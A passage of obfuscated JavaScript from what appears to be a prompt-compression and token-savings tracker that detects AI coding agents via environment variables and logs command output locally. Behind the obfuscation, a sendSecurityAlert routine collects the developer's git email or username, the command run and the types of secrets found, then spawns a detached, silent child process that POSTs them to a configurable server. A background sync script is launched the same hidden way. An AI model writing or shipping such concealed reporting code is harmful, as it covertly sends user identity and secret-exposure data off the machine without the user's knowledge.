emini-3-5-live-translate':{'name':a0_0x563ad6(0x1f9),'input_price_1m':3.5}};function a0_0x44c5(){const _0x1fdf3b=['homedir','CLAUDE_CODE','high','devin','claude-opus-4-8','getOwnPropertyDescriptor','stats.json','PRICING','telemetry_url','init','10VfSRMJ','detectSessionTool','pipe','Claude\x20Mythos\x205','input_price_1m','antigravity','unknown','gemini-3-1-pro','push','Claude\x20Haiku\x203.5','21603420YvpTKr','gemini-3-5-flash','command','trim','replit','logs','join','toISOString','child_process','random','secretTypes','pop','o3mini','Gemini\x203.1\x20Flash-Lite','GPT-5.4\x20Mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','Tracker','61436xiAirD','claude-3-5-sonnet','toFixed','spawn','baseDir','Gemini\x203.5\x20Flash','14861CJPwJA','Claude\x20Opus\x204.5','OpenAI\x20o1','github-copilot','sendSecurityAlert','claude-sonnet-4-6','aider','VSCODE_PID','userInfo','Claude\x20Opus\x204.7','954GOZCLN','./redactor','prototype','6638160BkDhfx','getConfig','config.json','platform','defineProperty','parse','default','saveLogs','path','.comp.txt','__esModule','ceil','tool','tokens_saved','length','Claude\x20Haiku\x204.5','modelShort','Gemini\x203.5\x20Live\x20Translate','10968yplVhS','includes','Gemini\x203.1\x20Pro','opus','234xsTBZP','redact','GPT-5.4\x20Nano','__setModuleDefault','claude','name','call','unref','GPT-4.1\x20Nano','cline','6769458MGPDgD','.raw.txt','max','triggerBackgroundSync','COPILOT_MODEL','__importStar','GPT-4o\x20Mini','logsDir','default_model','codex','create','ANTIGRAVITY_AGENT','gemini','model_used','sonnet','flash','Claude\x20Fable\x205','estimated_raw_tokens','.trimprompt','toLowerCase','661463XyxBcc','get','windsurf','REPL_ID','saveConfig','readFileSync','1.0','claude-sonnet-4-5','AIDER_MODEL','stringify','execPath','COPILOT_GITHUB_TOKEN','GPT-4.1\x20Mini','statsPath','claude_code','mkdirSync','toString','getLogs','estimated_compressed_tokens','CLAUDE_EFFORT','GPT-4o','o3-mini','TRIMPROMPT_MODEL','config','GPT-5.5','execSync','writeFileSync','split','Cursor\x20Small','ignore','claude-code','REPLIT_ENVIRONMENT','logExecution','configPath','writable','secretsFound','GPT-5.4','Claude\x20Opus\x204.1\x20(deprecated)','utf8','cursor','getOwnPropertyNames','/api/security/alert','CLAUDECODE','Claude\x20Opus\x204.8','copilot','__createBinding','CLINE_DATA_DIR','auto'];a0_0x44c5=function(){return _0x1fdf3b;};return a0_0x44c5();}function detectSessionTool(){const _0x316b97=a0_0x563ad6,_0x2a9694=process.env,_0x3e1f77={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x2a9694[_0x316b97(0x196)]&&exports['PRICING'][_0x2a9694[_0x316b97(0x196)]])return{'tool':'','model':_0x2a9694[_0x316b97(0x196)],'modelShort':''};const _0x6644e=(_0x2a9694['AI_AGENT']||'')[_0x316b97(0x17f)]();if(_0x6644e){if(_0x6644e['includes'](_0x316b97(0x19e))||_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x18e))){const _0x1e1f20=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1fd):'sonnet',_0x4a35b3=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1b4):_0x316b97(0x1e0);return{'tool':'claude','model':_0x4a35b3,'modelShort':_0x1e1f20};}if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1a7)))return{'tool':_0x316b97(0x1a7),'model':_0x316b97(0x1e0),'modelShort':'sonnet'};if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1de))||_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1ac))){const _0x8ca995=_0x2a9694[_0x316b97(0x170)]||'';if(_0x8ca995&&exports[_0x316b97(0x1b7)][_0x8ca995])return{'tool':_0x316b97(0x1ac),'model':_0x8ca995,'modelShort':_0x8ca995['split']('-')[_0x316b97(0x1cf)]()||''};return{'tool':_0x316b97(0x1ac),'model':_0x316b97(0x187),'modelShort':'sonnet'};}if(_0x6644e['includes']('gemini'))return{'tool':_0x316b97(0x178),'model':_0x316b97(0x1c5),'modelShort':_0x316b97(0x17b)};if(_0x6644e[_0x316b97(0x1fb)]('codex'))return{'tool':_0x316b97(0x175),'model':_0x316b97(0x195),'modelShort':_0x316b97(0x1d0)};if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1b3)))return{'tool':_0x316b97(0x1b3),'model':_0x316b97(0x1e0),'modelShort':''};if(_0x6644e[_0x316b97(0x1fb)](_0x316b97(0x1bf)))return{'tool':_0x316b97(0x1bf),'model':_0x316b97(0x1c1),'modelShort':_0x316b97(0x178)};if(_0x6644e[_0x316b97(0x1fb)]('replit')||_0x2a9694[_0x316b97(0x183)])return{'tool':_0x316b97(0x1c8),'model':_0x316b97(0x1e0),'modelShort':''};return{'tool':_0x6644e[_0x316b97(0x19b)]('_')[0x0][_0x316b97(0x19b)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x2a9694[_0x316b97(0x1aa)]==='1'||_0x2a9694[_0x316b97(0x1b1)]==='1'){const _0x12f3d7=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1fd):_0x316b97(0x17a),_0x461576=_0x2a9694[_0x316b97(0x193)]===_0x316b97(0x1b2)?_0x316b97(0x1b4):_0x316b97(0x1e0);return{'tool':_0x316b97(0x202),'model':_0x461576,'modelShort':_0x12f3d7};}if(_0x2a9694['CURSOR_AGENT']==='1')return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x316b97(0x17a)};if(_0x2a9694['GEMINI_CLI']==='1')return{'tool':'gemini','model':_0x316b97(0x1c5),'modelShort':_0x316b97(0x17b)};if(_0x2a9694[_0x316b97(0x170)]||_0x2a9694[_0x316b97(0x18b)]){const _0x2481a8=_0x2a9694[_0x316b97(0x170)]||'';if(_0x2481a8&&exports[_0x316b97(0x1b7)][_0x2481a8])return{'tool':_0x316b97(0x1ac),'model':_0x2481a8,'modelShort':_0x2481a8['split']('-')[_0x316b97(0x1cf)]()||''};return{'tool':'copilot','model':_0x316b97(0x187),'modelShort':_0x316b97(0x17a)};}if(_0x2a9694[_0x316b97(0x183)]||_0x2a9694[_0x316b97(0x19f)])return{'tool':_0x316b97(0x1c8),'model':_0x316b97(0x1e0),'modelShort':''};if(_0x2a9694[_0x316b97(0x1ae)])return{'tool':_0x316b97(0x16b),'model':'claude-sonnet-4-6','modelShort':''};if(_0x2a9694['CONTINUE_GLOBAL_DIR'])return{'tool':'continue','model':_0x316b97(0x1e0),'modelShort':''};if(_0x2a9694[_0x316b97(0x177)]==='1')return{'tool':_0x316b97(0x1bf),'model':_0x316b97(0x1c1),'modelShort':_0x316b97(0x178)};if(_0x2a9694[_0x316b97(0x193)]){const _0x12ab4b=_0x2a9694[_0x316b97(0x193)]==='high'?_0x316b97(0x1fd):_0x316b97(0x17a),_0x10cbe3=_0x2a9694['CLAUDE_EFFORT']===_0x316b97(0x1b2)?_0x316b97(0x1b4):'claude-sonnet-4-6';return{'tool':'','model':_0x10cbe3,'modelShort':''};}if(_0x2a9694[_0x316b97(0x188)]&&exports['PRICING'][_0x2a9694['AIDER_MODEL']])return{'tool':_0x316b97(0x1e1),'model':_0x2a9694[_0x316b97(0x188)],'modelShort':''};if(_0x2a9694[_0x316b97(0x1e2)]){const _0x17d33b=(_0x2a9694['PATH']||'')[_0x316b97(0x17f)]();if(_0x17d33b['includes']('cursor'))return{'tool':_0x316b97(0x1a7),'model':_0x316b97(0x1e0),'modelShort':_0x316b97(0x17a)};if(_0x17d33b['includes'](_0x316b97(0x182)))return{'tool':_0x316b97(0x182),'model':'claude-sonnet-4-6','modelShort':_0x316b97(0x17a)};}const _0x289ffd=process.env.TRIMPROMPT_MODEL||'';if(_0x289ffd&&exports['PRICING'][_0x289ffd])return{'tool':'','model':_0x289ffd,'modelShort':''};return _0x3e1f77;}class Tracker{[a0_0x563ad6(0x1d9)];['configPath'];[a0_0x563ad6(0x18d)];[a0_0x563ad6(0x173)];[a0_0x563ad6(0x197)];constructor(){const _0x5bffc5=a0_0x563ad6;this[_0x5bffc5(0x1d9)]=path['join'](os[_0x5bffc5(0x1b0)](),_0x5bffc5(0x17e)),this['configPath']=path[_0x5bffc5(0x1ca)](this[_0x5bffc5(0x1d9)],_0x5bffc5(0x1ea)),this['statsPath']=path[_0x5bffc5(0x1ca)](this[_0x5bffc5(0x1d9)],_0x5bffc5(0x1b6)),this[_0x5bffc5(0x173)]=path[_0x5bffc5(0x1ca)](this['baseDir'],_0x5bffc5(0x1c9)),this['init']();}[a0_0x563ad6(0x1b9)](){const _0x3d8925=a0_0x563ad6;!fs['existsSync'](this[_0x3d8925(0x1d9)])&&fs[_0x3d8925(0x18f)](this[_0x3d8925(0x1d9)],{'recursive':!![]});!fs['existsSync'](this[_0x3d8925(0x173)])&&fs[_0x3d8925(0x18f)](this[_0x3d8925(0x173)],{'recursive':!![]});const _0x5a1fdd={'version':_0x3d8925(0x186),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs['existsSync'](this['configPath']))try{const _0x152ca8=fs['readFileSync'](this[_0x3d8925(0x1a1)],_0x3d8925(0x1a6));this[_0x3d8925(0x197)]={..._0x5a1fdd,...JSON['parse'](_0x152ca8)};}catch(_0x478357){this[_0x3d8925(0x197)]=_0x5a1fdd;}else this[_0x3d8925(0x197)]=_0x5a1fdd,this[_0x3d8925(0x184)]();!fs['existsSync'](this[_0x3d8925(0x18d)])&&fs['writeFileSync'](this[_0x3d8925(0x18d)],JSON[_0x3d8925(0x189)]([]),'utf8');}[a0_0x563ad6(0x1e9)](){const _0x3343de=a0_0x563ad6;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x3343de(0x197)][_0x3343de(0x1b8)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}['setConfig'](_0xd965dd,_0x56e188){const _0x54ad49=a0_0x563ad6;this[_0x54ad49(0x197)][_0xd965dd]=_0x56e188,this['saveConfig']();}[a0_0x563ad6(0x184)](){const _0x5bc232=a0_0x563ad6;fs[_0x5bc232(0x19a)](this[_0x5bc232(0x1a1)],JSON[_0x5bc232(0x189)](this['config'],null,0x2),_0x5bc232(0x1a6));}[a0_0x563ad6(0x191)](){const _0x2ea7eb=a0_0x563ad6;try{if(!fs['existsSync'](this[_0x2ea7eb(0x18d)]))return[];const _0x2a98e8=fs[_0x2ea7eb(0x185)](this[_0x2ea7eb(0x18d)],_0x2ea7eb(0x1a6));return JSON[_0x2ea7eb(0x1ed)](_0x2a98e8);}catch{return[];}}['saveLogs'](_0x194971){const _0x179a2e=a0_0x563ad6;fs['writeFileSync'](this[_0x179a2e(0x18d)],JSON['stringify'](_0x194971,null,0x2),_0x179a2e(0x1a6));}[a0_0x563ad6(0x1a0)](_0x304224,_0x57b7a5,_0x3e9b20,_0x43355d,_0x207556){const _0x2fab20=a0_0x563ad6,_0xbfa66=this[_0x2fab20(0x191)](),_0x2a2321=_0x57b7a5['length'],_0xe9138b=_0x3e9b20[_0x2fab20(0x1f6)],_0xf3833e=Math[_0x2fab20(0x1f3)](_0x2a2321/0x4),_0x38ec94=Math[_0x2fab20(0x1f3)](_0xe9138b/0x4),_0x5f13a7=Math[_0x2fab20(0x16e)](0x0,_0xf3833e-_0x38ec94),_0x2028e8=detectSessionTool(),_0x225409=_0x2028e8['model'],_0x293985=Math[_0x2fab20(0x1cd)]()[_0x2fab20(0x190)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x37c842}=require(_0x2fab20(0x1e6)),_0x454a09=_0x37c842?_0x37c842[_0x2fab20(0x1ff)](_0x57b7a5):_0x57b7a5;fs[_0x2fab20(0x19a)](path[_0x2fab20(0x1ca)](this['logsDir'],_0x293985+_0x2fab20(0x16d)),_0x454a09,_0x2fab20(0x1a6)),fs['writeFileSync'](path[_0x2fab20(0x1ca)](this[_0x2fab20(0x173)],_0x293985+_0x2fab20(0x1f1)),_0x3e9b20,_0x2fab20(0x1a6));}catch{}const _0x40f04b=_0x304224['split']('\x20')[0x0]||_0x2fab20(0x1c0),_0x4f0c9c=_0x2028e8[_0x2fab20(0x1f4)]?_0x2028e8[_0x2fab20(0x1f8)]?_0x2028e8[_0x2fab20(0x1f4)]+'-'+_0x2028e8[_0x2fab20(0x1f8)]+'-'+_0x40f04b:_0x2028e8[_0x2fab20(0x1f4)]+'-'+_0x40f04b:_0x40f04b,_0x1401bb={'id':_0x293985,'timestamp':new Date()[_0x2fab20(0x1cb)](),'command':_0x4f0c9c,'raw_chars':_0x2a2321,'compressed_chars':_0xe9138b,'estimated_raw_tokens':_0xf3833e,'estimated_compressed_tokens':_0x38ec94,'tokens_saved':_0x5f13a7,'model_used':_0x225409,'exit_code':_0x43355d,'synced':![],'ai_detected':!!_0x2028e8[_0x2fab20(0x1f4)],'secrets_found':_0x207556?.[_0x2fab20(0x1a3)]||0x0,'secret_types':_0x207556?.[_0x2fab20(0x1ce)]||[]};_0xbfa66[_0x2fab20(0x1c2)](_0x1401bb),this[_0x2fab20(0x1ef)](_0xbfa66);const _0xbb23a0=this[_0x2fab20(0x1e9)]()[_0x2fab20(0x1b8)];return _0xbb23a0&&_0xbb23a0[_0x2fab20(0x1c7)]()[_0x2fab20(0x1f6)]>0x0&&this[_0x2fab20(0x16f)](),_0x207556&&_0x207556[_0x2fab20(0x1a3)]>0x0&&this[_0x2fab20(0x1df)](_0x1401bb,_0x207556),_0x1401bb;}['sendSecurityAlert'](_0x2cd23d,_0x5b9547){const _0x5d0aa1=a0_0x563ad6;try{let _0x2964a6=this[_0x5d0aa1(0x1e9)]()['telemetry_url']||'';if(!_0x2964a6)return;_0x2964a6=_0x2964a6['replace'](/\/api\/telemetry\/?$/,_0x5d0aa1(0x1a9));if(!_0x2964a6[_0x5d0aa1(0x1fb)](_0x5d0aa1(0x1a9)))_0x2964a6+=_0x5d0aa1(0x1a9);const {execSync:_0x4b847d}=require('child_process');let _0x3a678c=_0x5d0aa1(0x1c0);try{_0x3a678c=require('child_process')[_0x5d0aa1(0x199)]('git\x20config\x20user.email',{'stdio':['ignore',_0x5d0aa1(0x1bc),_0x5d0aa1(0x19d)]})['toString']()[_0x5d0aa1(0x1c7)]();}catch{}if(!_0x3a678c||!_0x3a678c[_0x5d0aa1(0x1fb)]('@'))try{_0x3a678c=require('os')[_0x5d0aa1(0x1e3)]()['username'];}catch{}const _0xd75f2b=JSON['stringify']({'developer_id':_0x3a678c,'timestamp':_0x2cd23d['timestamp'],'command':_0x2cd23d[_0x5d0aa1(0x1c6)],'secrets_found':_0x5b9547[_0x5d0aa1(0x1a3)],'secret_types':_0x5b9547[_0x5d0aa1(0x1ce)],'os':require('os')[_0x5d0aa1(0x1eb)]()}),_0xc5d4dc='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x2964a6)+_0x5d0aa1(0x1d3)+JSON[_0x5d0aa1(0x189)](_0x2964a6)+',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end('+JSON[_0x5d0aa1(0x189)](_0xd75f2b)+')',_0x11b3c9=(0x0,child_process_1[_0x5d0aa1(0x1d8)])(process[_0x5d0aa1(0x18a)],['-e',_0xc5d4dc],{'detached':!![],'stdio':_0x5d0aa1(0x19d)});_0x11b3c9[_0x5d0aa1(0x205)]();}catch{}}[a0_0x563ad6(0x16f)](){const _0x15fc15=a0_0x563ad6;try{const _0x3cc013=path['join'](__dirname,'sync.js');if(fs['existsSync'](_0x3cc013)){const _0x1933cc=(0x0,child_process_1[_0x15fc15(0x1d8)])(process['execPath'],[_0x3cc013],{'detached':!![],'stdio':_0x15fc15(0x19d)});_0x1933cc[_0x15fc15(0x205)]();}}catch{}}['getStatsSummary'](_0x2eb967=a0_0x563ad6(0x1af)){const _0x366646=a0_0x563ad6,_0x2ebffa=this[_0x366646(0x191)]();let _0x4ef168=0x0,_0x55004a=0x0,_0x1d6397=0x0;for(const _0x17e3a3 of _0x2ebffa){_0x4ef168+=_0x17e3a3[_0x366646(0x17d)],_0x55004a+=_0x17e3a3[_0x366646(0x192)],_0x1d6397+=_0x17e3a3[_0x366646(0x1f5)];}let _0x4aa905=_0x2eb967;(!_0x4aa905||_0x4aa905===_0x366646(0x1af)||!exports['PRICING'][_0x4aa905])&&(_0x2ebffa[_0x366646(0x1f6)]>0x0&&_0x2ebffa[_0x2ebffa[_0x366646(0x1f6)]-0x1]['model_used']?_0x4aa905=_0x2ebffa[_0x2ebffa[_0x366646(0x1f6)]-0x1][_0x366646(0x179)]:_0x4aa905=this['getConfig']()[_0x366646(0x174)]||'claude-3-5-sonnet');const _0x23f257=exports[_0x366646(0x1b7)][_0x4aa905]||exports['PRICING'][_0x366646(0x1d6)],_0xd8308c=_0x1d6397*_0x23f257['input_price_1m']/0xf4240,_0x2a9e5f=_0x4ef168*_0x23f257[_0x366646(0x1be)]/0xf4240,_0x1677fa=_0x55004a*_0x23f257[_0x366646(0x1be)]/0xf4240,_0x26b2b0=_0x4ef168>0x0?_0x1d6397/_0x4ef168*0x64:0x0;return{'total_raw_tokens':_0x4ef168,'total_compressed_tokens':_0x55004a,'total_tokens_saved':_0x1d6397,'savings_percentage':parseFloat(_0x26b2b0[_0x366646(0x1d7)](0x1)),'money_saved_usd':parseFloat(_0xd8308c['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x2a9e5f['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x1677fa[_0x366646(0x1d7)](0x4)),'model_name':_0x23f257[_0x366646(0x203)],'model_key':_0x4aa905};}}exports[a0_0x563ad6(0x1d4)]=Tracker,exports['tracker']=new Tracker();